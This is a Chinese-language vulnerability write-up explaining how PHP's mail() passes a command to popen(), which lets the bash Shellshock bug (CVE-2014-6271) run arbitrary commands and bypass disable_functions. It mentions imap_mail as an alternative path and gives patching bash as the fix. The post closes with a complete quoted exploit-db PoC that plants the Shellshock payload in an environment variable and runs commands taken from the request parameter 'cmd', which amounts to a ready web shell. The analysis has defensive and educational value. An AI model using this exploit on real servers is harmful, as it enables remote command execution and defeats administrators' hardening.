先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c

236行：

char *sendmail_path = INI_STR("sendmail_path"); 
char *sendmail_cmd = NULL;

从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的：

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i"). 
;sendmail_path =

注释中可以看到，send_mail默认值为"sendmail -t -i".

extra_cmd（用户传入的一些额外参数）存在的时候，调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下：

if (!sendmail_path) { 
#if (defined PHP_WIN32 || defined NETWARE) 
    /* handle old style win smtp sending */ 
    if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { 
      if (tsm_errmsg) { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); 
        efree(tsm_errmsg); 
      } else { 
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); 
      } 
      MAIL_RET(0); 
    } 
    MAIL_RET(1); 
#else 
    MAIL_RET(0); 
#endif 
  } 
  if (extra_cmd != NULL) { 
    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); 
  } else { 
    sendmail_cmd = sendmail_path; 
  }

之后执行：

#ifdef PHP_WIN32 
  sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); 
#else 
  /* Since popen() doesn't indicate if the internal fork() doesn't work 
   * (e.g. the shell can't be executed) we explicitly set it to 0 to be 
   * sure we don't catch any older errno value. */ 
  errno = 0; 
  sendmail = popen(sendmail_cmd, "w"); 
#endif

将sendmail_cmd丢给popen执行。
如果系统默认sh是bash，popen会派生bash进程。而之前的bash破壳（CVE-2014-6271）漏洞，直接导致我们可以利用mail()函数执行任意命令，绕过disable_functions。

同样，我们搜索一下php的源码，可以发现，明里调用popen派生进程的php函数还有imap_mail，如果你仅仅通过禁用mail函数来规避这个安全问题，那么imap_mail是可以做替代的。当然，php里还可能有其他地方有调用popen或其他能够派生bash子进程的函数，通过这些地方，都可以通过破壳漏洞执行命令的。

影响版本：php 5.x 已测试，其他版本未测试

修复方法：修复CVE-2014-6271

给出POC（http://www.exploit-db.com/exploits/35146/）如下：

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>